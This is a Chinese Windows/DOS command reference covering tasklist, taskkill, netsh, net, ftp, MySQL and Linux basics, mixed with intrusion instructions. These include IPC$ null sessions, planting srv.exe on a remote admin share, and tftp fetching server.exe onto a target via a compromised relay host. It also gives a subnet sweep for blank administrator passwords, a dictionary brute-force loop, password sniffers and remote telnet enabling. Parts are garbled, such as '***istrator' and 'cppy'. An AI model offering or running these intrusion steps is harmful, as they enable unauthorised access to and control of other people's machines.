MEMUSAGE eq, ne, gt, lt, ge, le 内存使用量,单位为 KB
USERNAME eq, ne 用户名,格式为 [domain\]user
SERVICES eq, ne 服务名称
WINDOWTITLE eq, ne 窗口标题
MODULES eq, ne DLL 名称说明: 当查询远程机器时,不支持 "WINDOWTITLE" 和 "STATUS" 过滤器。
示例:
tasklist
tasklist /M
tasklist /V /FO CSV
tasklist /SVC /FO LIST
tasklist /M wbem*
tasklist /S system /FO LIST
tasklist /S system /U domain\username /FO CSV /NH
tasklist /S system /U username /P password /FO TABLE /NH
tasklist /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running"
示例:
1. 查看本机所有进程
示例:tasklist
2. 查看远程系统的进程(远程系统必须开启RPC服务)
示例:tasklist /s 218.22.123.26 /u 用户名 /p 密码
3. 查看进程提供的服务
示例:tasklist /svc
示例:tasklist /s 218.22.123.26 /u 用户名 /p 密码 /svc
4. 查看调用DLL模块文件的进程列表
查看本地系统中哪些进程调用了 "shell32.dll" DLL模块文件
示例:tasklist /m shell32.dll
5. 使用 过滤器 查找指定的进程
列出系统中正在运行的非 SYSTEM 状态的所有进程。
示例:tasklist /fi "USERNAME ne NT AUTHORITY\SYSTEM" /fi "STATUS eq running"
6. taskkill 杀死进程
示例:taskkill /pid 要结束的pid
示例:taskkill /im notepad.exe
taskkill
taskkill 按照进程 ID (PID) 或映像名称终止任务。
taskkill [/S system [/U username [/P [password]]]]
{ [/FI filter] [/PID processid | /IM imagename] } [/T] [/F]参数列表:
/S system 指定要连接的远程系统。
/U [domain\]user 指定用户名。
/P [password] 指定密码。如果省略,则提示输入。
/FI filter 符合过滤条件的 进程 (任务) 。
允许使用 "*"。例如,映像名称 eq acme*
/PID processid 指定要终止的进程的 PID。使用 TaskList 取得 PID。
/IM imagename 指定要终止的进程的映像名称。
通配符 '*'可用来指定所有任务或映像名称。
/T 终止指定的进程和由它启用的子进程。
/F 指定强制终止进程。
/? 显示帮助消息。filter:
filter 名 有效运算符 有效值
----------- --------------- -------------------------
STATUS eq, ne RUNNING | NOT RESPONDING | UNKNOWN
IMAGENAME eq, ne 映像名称
PID eq, ne, gt, lt, ge, le PID 值
SESSION eq, ne, gt, lt, ge, le 会话编号。
CPUTIME eq, ne, gt, lt, ge, le CPU 时间,格式为:
hh:mm:ss。 hh - 时,mm - 分,ss - 秒
MEMUSAGE eq, ne, gt, lt, ge, le 内存使用量,单位为 KB
USERNAME eq, ne 用户名,格式为 [domain\]user
MODULES eq, ne DLL 名称
SERVICES eq, ne 服务名称
WINDOWTITLE eq, ne 窗口标题说明
1) 只有在使用 过滤器 的情况下,/IM 切换才能使用通配符 '*'。
2) 远程进程总是要强行 (/F) 终止。
3) 当指定远程机器时,不支持 "WINDOWTITLE" 和 "STATUS" 筛选器。例如:
taskkill /IM notepad.exe
taskkill /PID 1230 /PID 1241 /PID 1253 /T
taskkill /F /IM cmd.exe /T
taskkill /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
taskkill /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
taskkill /S system /U domain\username /FI "USERNAME ne NT*" /IM *
taskkill /S system /U username /P password /FI "IMAGENAME eq note*"
基本的用法就是:taskkill /pid ****(pid号)
至于eq,ne,ge,le,gt,lt,是等于,不等于,不小于,不大于,大于,小于意思,主要是用来终止一组进程的,不过这个参数可以通过多组taskkill 来实现。
/F是强制命令。
netsh --- 网络配置 工具集合
Netsh 是命令行脚本实用工具,可让你显示或修改当前正在运行的计算机的网络配置。 可以通过在 netsh 提示符下键入命令来运行 Netsh 命令,并且可以在批处理文件或脚本中使用 Netsh 命令。 可以使用 netsh 命令来配置远程计算机和本地计算机。
Netsh 还提供脚本功能,可让你在批处理模式下对指定的计算机运行一组命令。 你可以使用 Netsh 将配置脚本保存在文本文件中,以便存档或者帮助你配置其他计算机。
知道有哪些可选功能后,就可以进一步输入二级命令,执行要进行的操作。
比如下边查看当前 tcp 链接状态位列展示:
导出导入脚本
netsh -c interface ip dump > c:/interface.txt
netsh -f c:/interface.txt
固定 IP 地址批处理
//SETIPDNS.bat( “本地连接”换成你网卡的名字, 具体的 ip 地址,网关,请自行修改 )
@echo off
echo 正在修改本机IP...
netsh interface ip set address name="本地连接" source=static 192.168.1.188 255.255.255.0 192.168.1.1 1
echo 正在添加本机主DNS...
netsh interface ip set dns "本地连接" static 18.0.0.10 primary
echo 正在添加本机副DNS...
netsh interface ip add dns "本地连接" 18.0.0.10
echo 设置完成...
echo 检查当前本机配置...
ipconfig /all
echo 导出配置脚本...
netsh -c interface ip dump
pause
自动获取 IP
@echo off
echo 正在修改本机IP...
netsh interface ip set address name="本地连接" source=dhcp
echo 正在添加本机主DNS...
netsh interface ip set dns "本地连接" dhcp
echo 设置完成...
echo 检查当前本机配置...
ipconfig /all
echo 导出配置脚本...
netsh -c interface ip dump
pause
查看网络配置
netsh interface ip show {选项}
{选项}可以是:
address-显示IP地址配置。
config-显示IP地址和更多信息。
dns-显示DNS服务器地址。
icmp-显示ICMP统计。
interface-显示IP接口统计。
ipaddress-显示当前IP地址。
ipnet-显示IP的网络到媒体的映射。
ipstats-显示IP统计。
joins-显示加入的多播组。
offload-显示卸载信息。
tcpconn-显示TCP连接。
tcpstats-显示TCP统计。
udpconn-显示UDP连接。
udpstats-显示UDP统计。
wins-显示WINS服务器地址。
配置 接口IP/网关IP
netsh interface ip set address "本地连接" static 10.1.2.90 255.255.255.0 10.1.2.254 1
配置自动换取IP地址,DNS地址及wins地址
netsh interface ip set address "本地连接" dhcp
netsh interface ip set dns "本地连接" dhcp
netsh interface ip set wins "本地连接" dhcp
配置静态IP地址,DNS地址及wins地址
netsh interface ip set address "本地连接" static 10.1.2.90
netsh interface ip set dns "本地连接" static 202.99.160.68
netsh interface ip set wins "本地连接" static 10.1.2.200
查看 网络配置 文件
C:>netsh -c interface dump
导出 网络配置 文件
netsh -c interface dump > d:/1.txt
导入 网络配置 文件
netsh -f d:/1.txt
netsh exec d:/2.txt
netsh 配置防 火墙
查看、开启或禁用系统防火墙
# 查看防火墙的状态
netsh firewall show state# 禁用系统防火墙
netsh firewall set opmode disable# 启用防火墙
netsh firewall set opmode enable
DOS 命令集
net 相关命令
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS 服务 命令
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MySQL 命令
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux 系统下基本命令: 区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
if 命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
for 命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
系统外部命令
:https://www.w3cschool.cn/dosmlxxsc1/jiszug.html
使用系统外部命令时,均需下载相关工具
1、瑞士军刀:nc.exe
2、扫锚工具:xscan.exe
3、命令行方式嗅探器: xsniff.exe:可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
4、终端服务密码破解: tscrack.exe
5、其它:
Shutdown.exe
Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。